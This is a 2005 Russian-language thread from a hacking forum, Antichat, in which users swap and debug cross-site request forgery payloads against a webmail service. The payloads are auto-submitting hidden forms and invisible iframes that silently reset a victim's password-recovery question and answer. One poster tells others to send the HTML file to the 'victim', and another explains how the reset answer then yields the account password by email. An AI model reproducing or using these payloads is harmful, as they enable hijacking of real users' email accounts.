Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   newmаil (https://forum.antichat.xyz/showthread.php?t=5794)

chip 01.04.2005 18:11
newmаil
 
Вот, правильно списал? Только вот не работает.. Отправлял html`om и не работает =( может ошибка где?

[1]
<form method="post" action="http://www4.сервант.ru/users/chpass.dhtml" name="chpass">
<<input tupe="hidden" name="cp_msg" value="1">
<input tupe"hidden" name="__post" vbalue="1">
<input tupe"hidden" name="cp_quest" vbalue="LOX?">
<input tupe"hidden" name="cp_answ" vbalue="YES">
<input tupe"hidden" name="Сохранить" vbalue="Save">
</form>
<script>
document.chpass.submit();
</script>

[2]
<iframe src="http://www.chip.narod.ru/popa.htm" width="1" height="1"
style="overflow;hidden;background-color;black;border;none;" framebordar="0"></iframe>

rsha1988 01.04.2005 18:26
У меня тоже не работает(
Он чето не то написал!

rsha1988 01.04.2005 18:28
Можно сделать так:
<iframe src="http://www.fuc-321.narod.ru/fuck.htm" width="11" height="11"
style="overflow:hidden;background-color:blank;border:none;" frameborder="0"></iframe>
lololo
- этот код сохраняй в html документе и посылай его жертве, ответ на секретный вопросс будит : ta

chip 01.04.2005 19:24
Почему "ta"? Ведь я сам задаю в первом коде? Непонял малек. может дырку зашили просто?

chip 01.04.2005 19:26
И это у тебя работало? Откуда "ta" взялось?
Цитата:
Можно сделать так:
<iframe src="http://www.fuc-321.narod.ru/fuck.htm" width="11" height="11"
style="overflow:hidden;background-color:blank;border:none;" frameborder="0"></iframe>
lololo
- этот код сохраняй в html документе и посылай его жертве, ответ на секретный вопросс будит : ta

Майор 01.04.2005 19:47
форма такая :
Код:
<FORM ACTION="http://www4.hotmail.ru/users/chpass.dhtml?" METHOD="POST">

<input type="hidden" name="session_id" value="QsaA1RKVEa8jAGPpgbw02i1K4skiTnLb">
<input type="hidden" name="cp_msg" value="1">
<input type="hidden" name="__post" value="1">

<input type="password" name="cp_passwd" value="" maxlength="16" size="17">



<input type="password" name="cp_newpass" value="" maxlength="16" size="17">
<input type="password" name="cp_newpass2" value="" maxlength="16" size="17">

<input type="submit" value="Внести изменения">



<input type="text" name="cp_quest" maxlength="40" size="33" value="vopros">
<input type="text" name="cp_answ"  maxlength="24" size="25" value="otvet">
<input type="submit" value="Внести изменения" >

</FORM>
Причём все параметры обязательны, ктому же в форме пристутствует id сесии => надо писать скрипт например на php, который его вырезает из referer

rsha1988 02.04.2005 11:20
Цитата:
Сообщение от chip
Почему "ta"? Ведь я сам задаю в первом коде? Непонял малек. может дырку зашили просто?
Потому что 1 код находиться здесь: http://www.fuc-321.narod.ru/fuck.htm
Тпам вопросс: tata?
и ответ: ta

chip 02.04.2005 11:53
А, теперь понял. Я не обратил внимания ны ссылку.

JazzzSummerMan 02.04.2005 12:15
Майор кто тебе сказал что все параметры обязательны, ты сам проверял? Сессия не нужна

Майор 02.04.2005 17:56
Цитата:
Сообщение от JazzzSummerMan
Майор кто тебе сказал что все параметры обязательны, ты сам проверял? Сессия не нужна
Да, нужна!

chin 02.04.2005 18:50
А с чего ты взял, что ее можно вытащить из реферера?

JazzzSummerMan 02.04.2005 20:27
Майор категорично.. Ты слишком поспешно делаешь из всего выводы, поэтому получается неправильно.
http://antichat.ru/txt/hmail здесь есть описание newmail, до сих пор работает.

JazzzSummerMan 02.04.2005 20:32
Chin нет ни каких затруднений в получнеии реферера, значит и сессии

LittleLamer 02.04.2005 22:33
Цитата:
Сообщение от JazzzSummerMan
Chin нет ни каких затруднений в получнеии реферера, значит и сессии
Если конечно в браузере не выключить поддержку реферера. В опере по-крайней мере такая возможность есть (правда по дефолту реф включен :) ).

JazzzSummerMan 02.04.2005 23:17
может быть. я считаю это крайности. Есть и всякие программы которые подделывают рефер
проксимитрон, А4прокси и тд

Майор 03.04.2005 00:00
от того что я проверил 3 раз id не перестал быть нужен...
PS Кстате там влюбом случае пишется что вопрос успешно изменён - это баг, на самом деле он не меняется

JazzzSummerMan 03.04.2005 00:17
я вобще не понимаю твоей логики. что значит "там влюбом случае пишется что вопрос успешно изменён ". Было бы понятно, если для смены ответа требовался пароль, а ты вводишь без пароля и тебе пишут что вопрос успешно изменен, а на самом деле это не так. Только что попробовал, все по-прежнему работает. Зайди на главную, нажми "забыли пароль?" и там будет новый вопрос. когда введешь новый ответ тебе на ящик придет пароль

LittleLamer 03.04.2005 00:31
Вообщем идеальным выходом для newmail`а по-моему является

<iframe src=http://newmail.ru/users/chpass.dhtml?cp_msg=1&cp_quest=ВОПРОС&cp_ans w=ОТВЕТ width=0 height=0></iframe>
© http://antichat.ru/txt/hmail

Ведь даже, если у юзера выключена графика, звуки или (не дай бог) javascript, то iframe помоему ну никак нельзя выключить.

Майор 03.04.2005 00:40
чесно говоря я в недоумении, ты сам то пробовал ?

LittleLamer 03.04.2005 02:57
:) Конечно пробовал. И не раз.

rsha1988 03.04.2005 11:47
LittleLamer - и че, сработало?

LittleLamer 03.04.2005 12:01
Блин, ну а как по другому может быть? Конечно сработало.
Вам может видео нарисовать?

Майор 03.04.2005 12:56
ты когда пробовал вчера или пол года назад ?

JazzzSummerMan 03.04.2005 14:09
ты чесно говоря вобще уже че-то не то буровишь.. разуй глаза. Тебе 10 раз уже сказали что работает

Майор 03.04.2005 14:40
........ну вы даёте, прежде чем спорить надо пойти и проверить меняется ли вопрос :mad:

rsha1988 03.04.2005 23:25
дык ты проверь)))

Майор 04.04.2005 01:30
Цитата:
Сообщение от rsha1988
дык ты проверь)))
я проверил 8)


Время: 00:00